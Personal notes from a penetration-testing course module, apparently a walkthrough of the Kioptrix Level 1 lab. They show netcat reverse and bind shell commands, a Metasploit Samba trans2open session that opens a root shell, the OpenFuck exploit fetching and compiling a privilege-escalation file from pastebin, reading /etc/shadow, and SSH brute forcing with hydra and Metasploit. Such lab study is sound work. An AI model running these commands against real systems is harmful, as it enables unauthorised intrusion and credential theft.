

Module 12: Exploitation Basics

REVERSE AND BIND SHELLS

*Netcat Reverse shell is the most common

- Gaining access to a shell or 'popping a shell' means that we are getting access to a machine"
 - A Reverse Shell - is when a victim connects to us. (*LISTENING*) Reverse shells are used 95% of the time.
 - Bind Shell - We open a port on the victim machine and open it
 - Youtube link : <https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/> *
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NETCAT REVERSE SHELL:

Victim IP.IP.IP.IP (nc IP.IP.IP.IP 4444 -e /binsh) 'Connecting' -----> Attacker IP.IP.IP.IP (nc -lvp 4444)
'Listening'

NETCAT BIND SHELL:

Victim IP.IP.IP.IP (nc IP.IP.IP.IP 4444 -e /binsh) 'Connecting' <----- Attacker IP.IP.IP.IP (nc -lvp 4444)
'Listening'

STAGED VS. NON-STAGED PAYLOADS

Payload is an exploit that we run (They are used to send to a victim and get a shell on a machine.)

Non-staged:

- sends exploit shellcode all at once
- larger in size and won't always work
- Ex. Windows/meterpreter_reverse_tcp

Staged:

- Sends payload in stages
- can be less stable
- Ex. Windows/meterpreter/reverse_tcp

GAINING ROOT WITH METASPLOIT

```
root@kali:/# searchsploit Samba 2.2.1a
```

Exploit Title	Path
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)	osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution	multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)	linux_x86/dos/36741.py

Shellcodes: No Results
root@kali:/# msfconsole

```
METASPLOIT CYBER MISSILE COMMAND V5

#####
### / -- \ / -- \ / -- \ ##### / -- \ / -- \ / -- \ #####
##### / -- \ / -- \ / -- \ ##### / -- \ / -- \ / -- \ #####
##### / -- \ / -- \ / -- \ ##### / -- \ / -- \ / -- \ #####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
##### / -- \ / -- \ / -- \ ##### / -- \ / -- \ / -- \ #####
https://metasploit.com

[ metasploit v5.0.87-dev ]
+ --=[ 2006 exploits - 1096 auxiliary - 343 post      ]
+ --=[ 562 payloads - 45 encoders - 10 nops        ]
+ --=[ 7 evasion           ]

Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x

msf5 > search trans2open

Matching Modules
=====
#  Name          Disclosure Date  Rank   Check  Description
-  -----
0  exploit/freebsd/samba/trans2open    2003-04-07 great  No    Samba trans2open Overflow (*BSD x86)
1  exploit/linux/samba/trans2open     2003-04-07 great  No    Samba trans2open Overflow (Linux x86)
2  exploit/osx/samba/trans2open      2003-04-07 great  No    Samba trans2open Overflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open  2003-04-07 great  No    Samba trans2open Overflow (Solaris SPARC)

msf5 >
```

```
msf5 > use 1
msf5 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):
Name   Current Setting  Required  Description
----  -----  -----  -----
RHOSTS          yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<
path>'
RPORT       139      yes      The target port (TCP)

Exploit target:

Id  Name
--  ---
0   Samba 2.2.x - Bruteforce

msf5 exploit(linux/samba/trans2open) > set rhosts 192.168.0.21
rhosts => 192.168.0.21
msf5 exploit(linux/samba/trans2open) > show targets

Exploit targets:

Id  Name
--  ---
0   Samba 2.2.x - Bruteforce

msf5 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.0.13:4444
[*] 192.168.0.21:139 - Trying return address 0xbfffffdfc...
[*] 192.168.0.21:139 - Trying return address 0xbfffffcfc...
[*] 192.168.0.21:139 - Trying return address 0xbfffffbfc...
[*] 192.168.0.21:139 - Trying return address 0xbfffffafc...
[*] Sending stage (980808 bytes) to 192.168.0.21
[*] 192.168.0.21 - Meterpreter session 1 closed. Reason: Died
[*] Meterpreter session 1 opened (192.168.0.13:4444 -> 127.0.0.1) at 2020-05-19 16:04:00 -0400
[*] 192.168.0.21:139 - Trying return address 0xbffff9fc...
[*] Sending stage (980808 bytes) to 192.168.0.21
[*] Meterpreter session 2 opened (192.168.0.13:4444 -> 192.168.0.21:32796) at 2020-05-19 16:04:02 -0400
[*] 192.168.0.21 - Meterpreter session 2 closed. Reason: Died
[*] 192.168.0.21:139 - Trying return address 0xbffff8fc...
[*] Sending stage (980808 bytes) to 192.168.0.21
[*] 192.168.0.21 - Meterpreter session 3 closed. Reason: Died
[*] Meterpreter session 3 opened (192.168.0.13:4444 -> 127.0.0.1) at 2020-05-19 16:04:03 -0400
[*] 192.168.0.21:139 - Trying return address 0xbffff7fc...
[*] Sending stage (980808 bytes) to 192.168.0.21
[*] Meterpreter session 4 opened (192.168.0.13:4444 -> 192.168.0.21:32798) at 2020-05-19 16:04:04 -0400
[*] 192.168.0.21 - Meterpreter session 4 closed. Reason: Died
[*] 192.168.0.21:139 - Trying return address 0xbffff6fc...
^C[-] 192.168.0.21:139 - Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf5 exploit(linux/samba/trans2open) > options
```

```

REPORT 139          yes      The target port (TCP)

Payload options (linux/x86/meterpreter/reverse_tcp):
Name  Current Setting  Required  Description
----  -----  -----  -----
LHOST  192.168.0.13    yes      The listen address (an interface may be specified)
LPORT  4444            yes      The listen port

Exploit target:
Id  Name
--  --
0   Samba 2.2.x - Bruteforce

msf5 exploit(linux/samba/trans2open) > set payload linux/x86/
set payload linux/x86/adduser                      set payload linux/x86/shell/bind_ipv6_tcp
set payload linux/x86/chmod                        set payload linux/x86/shell/bind_ipv6_tcp_uuid
set payload linux/x86/exec                         set payload linux/x86/shell/bind_nonx_tcp
set payload linux/x86/meterpreter/bind_ipv6_tcp    set payload linux/x86/shell/bind_tcp
set payload linux/x86/meterpreter/bind_ipv6_tcp_uuid set payload linux/x86/shell/bind_tcp_uuid
set payload linux/x86/meterpreter/bind_nonx_tcp     set payload linux/x86/shell/reverse_ipv6_tcp
set payload linux/x86/meterpreter/bind_tcp           set payload linux/x86/shell/reverse_nonx_tcp
set payload linux/x86/meterpreter/bind_tcp_uuid     set payload linux/x86/shell/reverse_tcp
set payload linux/x86/meterpreter/reverse_ipv6_tcp  set payload linux/x86/shell/reverse_tcp_uuid
set payload linux/x86/meterpreter/reverse_nonx_tcp  set payload linux/x86/shell_bind_ipv6_tcp
set payload linux/x86/meterpreter/reverse_tcp        set payload linux/x86/shell_bind_tcp
set payload linux/x86/meterpreter/reverse_tcp_uuid   set payload linux/x86/shell_bind_tcp_random_port
set payload linux/x86/metsvc_bind_tcp               set payload linux/x86/shell_reverse_tcp
set payload linux/x86/metsvc_reverse_tcp            set payload linux/x86/shell_reverse_tcp_ip6
set payload linux/x86/read_file

msf5 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf5 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):
Name  Current Setting  Required  Description
----  -----  -----  -----
RHOSTS 192.168.0.21    yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<
path>'                                           Remember me
RPORT  139            yes      The target port (TCP)

Payload options (linux/x86/shell_reverse_tcp):
Name  Current Setting  Required  Description
----  -----  -----  -----
CMD   /bin/sh          yes      The command string to execute
LHOST  192.168.0.13    yes      The listen address (an interface may be specified)
LPORT  4444            yes      The listen port

Exploit target:
Id  Name
--  --
0   Samba 2.2.x - Bruteforce

msf5 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.0.13:4444
[*] 192.168.0.21:139 - Trying return address 0xbfffffdfc...
[*] 192.168.0.21:139 - Trying return address 0xbfffffcfc...
[*] 192.168.0.21:139 - Trying return address 0xbfffffbfc...
[*] 192.168.0.21:139 - Trying return address 0xbfffffafc...
[*] Command shell session 5 opened (192.168.0.13:4444 -> 192.168.0.21:32799) at 2020-05-19 16:07:21 -0400

```

^ SUCCESSFULLY ROOTED KIOPTRIX

MANUAL EXPLOITATION

Installed OpenFuck Exploit from git hub

<https://github.com/heltonWernik/OpenLuck>

```
Fuck to all guys who like use lamah ddos. Read SRC to have no surprise
root@kali:/home/chocka/OpenFuck# ./openfuck 0x6b 192.168.0.20 -c 40
```

```
root@kali:/home/chocka/OpenFuck# ./OpenFuck 0x6b 192.168.0.21 -c 40

*****
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM      with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena    irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****
```

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8070
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05\$
race-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; m/raw/C7v25Xr9 -O pt
--02:51:57-- https://pastebin.com/raw/C7v25Xr9
 => `ptrace-kmod.c'
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

OK ... @ 1.92 MB/s

02:51:57 (1.92 MB/s) - `ptrace-kmod.c' saved [4026]

```
ptrace-kmod.c:183:1: warning: no newline at end of file
[+] Attached to 7008
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root
hostname
kioptrix.level1
```

What are we looking for in post exploitation?

What is our IP?

Who the machine is talking to

Sudo privledges

cat /etc/passwd file (Users start at the 500's) ---> cat /etc/shadow

BRUTE FORCE ATTACKS

TOOL: hydra (Hydra is pretty damn slow)

syntax: hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.0.21:22 -t 4 -V

OR

Use metasploit:

```
msf5 > search ssh
Matching Modules
=====
#  Name
-  ---
0 auxiliary/dos/windows/ssh/sysax_sshd_kexchange
1 auxiliary/fuzzers/ssh/ssh_kexinit_corrupt
2 auxiliary/fuzzers/ssh/ssh_version_15
3 auxiliary/fuzzers/ssh/ssh_version_2
4 auxiliary/fuzzers/ssh/ssh_version_corrupt
5 auxiliary/scanner/http/cisco_firepower_login
6 auxiliary/scanner/http/gitlab_user_enum
7 auxiliary/scanner/ssh/apache_karaf_command_execution
8 auxiliary/scanner/ssh/kerberos_sftp_enumusers
9 auxiliary/scanner/ssh/detect_kippo
10 auxiliary/scanner/ssh/eaton_xpert_backdoor
11 auxiliary/scanner/ssh/fortinet_backdoor
12 auxiliary/scanner/ssh/juniper_backdoor
13 auxiliary/scanner/ssh/karaf_login
14 auxiliary/scanner/ssh/libssh_auth_bypass
15 auxiliary/scanner/ssh/ssh_enum_git_keys
16 auxiliary/scanner/ssh/ssh_enumusers
17 auxiliary/scanner/ssh/ssh_identify_pubkeys
18 auxiliary/scanner/ssh/ssh_login
19 auxiliary/scanner/ssh/ssh_login_pubkey
20 auxiliary/scanner/ssh/ssh_version
21 exploit/apple_ios/ssh/cydia_default_ssh
22 exploit/linux/http/alienvault_exec
23 exploit/linux/http/php_imap_open_rce
24 exploit/linux/http/symantec.messaging_gateway_exec
25 exploit/linux/http/ubiquiti_rios_file_upload
26 exploit/linux/local/ptrace_traceme_pkexec_helper
27 exploit/linux/ssh/ceragon_fibreair_known_privkey
28 exploit/linux/ssh/cisco_ucs_scupuser
29 exploit/linux/ssh/exagrid_known_privkey
30 exploit/linux/ssh/f5_bigip_known_privkey
31 exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
32 exploit/linux/ssh/mercurial_ssh_exec
33 exploit/linux/ssh/quantum_dxi_known_privkey
34 exploit/linux/ssh/quantum_vmpro_backdoor
35 exploit/linux/ssh/solarwinds_lsn_exec
36 exploit/linux/ssh/symantec_smg_ssh
37 exploit/linux/ssh/vmware_vdp_known_privkey
38 exploit/multi/http/git submodule_command_exec
39 exploit/multi/http/gitshell_exec
40 exploit/multi/ssh/sshexec
41 exploit/unix/http/schneider_electric_net5xx_encoder
42 exploit/unix/ssh/array_vxag_vavp_privkey_privsec
43 exploit/unix/ssh/tectia_passwd_changerreq
44 exploit/windows/local/unquoted_service_path
45 exploit/windows/ssh/freeftpd_key_exchange
46 exploit/windows/ssh/freesshd_authbypass
47 exploit/windows/ssh/freesshd_key_exchange
48 exploit/windows/ssh/putty_msg_debug
49 exploit/windows/ssh/securercrt_ssh1
50 exploit/windows/ssh/sysax_ssh_username
51 payload/cmd/unix/reverse_ssh
52 post/linux/gather/enum_network
53 post/linux/manage/sshkey_persistence
54 post/multi/gather/jenkins_gather
55 post/multi/gather/ssh_creds
56 post/windows/gather/credentials/mremote
57 post/windows/gather/enum_putty_saved_sessions
58 post/windows/manage/forward_pageant
59 post/windows/manage/install_ssh
60 post/windows/manage/sshkey_persistence

msf5 > use 18
msf5 auxiliary(scanner/ssh/ssh_login) > options
```

```

msf5 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Name      Current Setting  Required  Description
----      -----          -----    -----
BLANK_PASSWORDS  false        no       Try blank passwords for all users
BRUTEFORCE_SPEED 5           yes      How fast to bruteforce, from 0 to 5
DB_ALL_CREDS   false        no       Try each user/password couple stored in the current database
DB_ALL_PASS     false        no       Add all passwords in the current database to the list
DB_ALL_USERS    false        no       Add all users in the current database to the list
PASSWORD        no           no       A specific password to authenticate with
PASS_FILE       no           no       File containing passwords, one per line
RHOSTS          yes          yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT            22          yes      The target port
STOP_ON_SUCCESS false        yes      Stop guessing when a credential works for a host
THREADS          1           yes      The number of concurrent threads (max one per host)
USERNAME         no           no       A specific username to authenticate as
USERPASS_FILE   no           no       File containing users and passwords separated by space, one pair per line
USER_AS_PASS    false        no       Try the username as the password for all users
USER_FILE        no           no       File containing usernames, one per line
VERBOSE          false        yes      Whether to print output for all attempts

msf5 auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/metasploit/unix_passwords
pass_file => /usr/share/wordlists/metasploit/unix_passwords
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.21
rhosts => 192.168.0.21
msf5 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Name      Current Setting  Required  Description
----      -----          -----    -----
BLANK_PASSWORDS  false        no       Try blank passwords for all users
BRUTEFORCE_SPEED 5           yes      How fast to bruteforce, from 0 to 5
DB_ALL_CREDS   false        no       Try each user/password couple stored in the current database
DB_ALL_PASS     false        no       Add all passwords in the current database to the list
DB_ALL_USERS    false        no       Add all users in the current database to the list
PASSWORD        no           no       A specific password to authenticate with
PASS_FILE       /usr/share/wordlists/metasploit/unix_passwords  no       File containing passwords, one per line
RHOSTS          192.168.0.21  yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT            22          yes      The target port
STOP_ON_SUCCESS false        yes      Stop guessing when a credential works for a host
THREADS          1           yes      The number of concurrent threads (max one per host)
USERNAME         root         no       A specific username to authenticate as
USERPASS_FILE   no           no       File containing users and passwords separated by space, one pair per line
USER_AS_PASS    false        no       Try the username as the password for all users
USER_FILE        no           no       File containing usernames, one per line
VERBOSE          false        yes      Whether to print output for all attempts

msf5 auxiliary(scanner/ssh/ssh_login) > set threads 10
threads => 10
msf5 auxiliary(scanner/ssh/ssh_login) > run
[*] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: PASS_FILE.
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
pass_file => /usr/share/wordlists/metasploit/unix_passwords.txt
msf5 auxiliary(scanner/ssh/ssh_login) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => true
msf5 auxiliary(scanner/ssh/ssh_login) > true
[*] exec: true

msf5 auxiliary(scanner/ssh/ssh_login) > run

```

```

[-] 192.168.0.21:22 - Failed: 'root:admin'
[!] No active DB -- Credential No data will not be saved!
[-] 192.168.0.21:22 - Failed: 'root:123456'
[-] 192.168.0.21:22 - Failed: 'root:12345'
[-] 192.168.0.21:22 - Failed: 'root:123456789'
[-] 192.168.0.21:22 - Failed: 'root:password'
[-] 192.168.0.21:22 - Failed: 'root:iloveyou'
[-] 192.168.0.21:22 - Failed: 'root:princess'
[-] 192.168.0.21:22 - Failed: 'root:1234567'
[-] 192.168.0.21:22 - Failed: 'root:12345678'
[-] 192.168.0.21:22 - Failed: 'root:abc123'
[-] 192.168.0.21:22 - Failed: 'root:nicole'
[-] 192.168.0.21:22 - Failed: 'root:daniel'
[-] 192.168.0.21:22 - Failed: 'root:babygirl'
[-] 192.168.0.21:22 - Failed: 'root:monkey'
[-] 192.168.0.21:22 - Failed: 'root:lovely'
[-] 192.168.0.21:22 - Failed: 'root:jessica'
[-] 192.168.0.21:22 - Could not connect: connection closed by remote host
[-] 192.168.0.21:22 - Failed: 'root:michael'
[-] 192.168.0.21:22 - Failed: 'root:ashley'
[-] 192.168.0.21:22 - Failed: 'root:qwerty'
[-] 192.168.0.21:22 - Failed: 'root:111111'
[-] 192.168.0.21:22 - Failed: 'root:iloveu'
[-] 192.168.0.21:22 - Could not connect: connection closed by remote host
[-] 192.168.0.21:22 - Could not connect: connection closed by remote host
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > 

```

PASSWORD SPRAYING AND CREDENTIAL STUFFING

What is credential stuffing?

-Injecting breached credentials in hopes of account takeover "Spray and Pray"

attacking a website

https://www.owasp.org/index.php/Credential_stuffing

Use Foxy Proxy to easily turn on and off proxy for burpsuite

credential stuffing and password spraying is the common way we get in during external assesments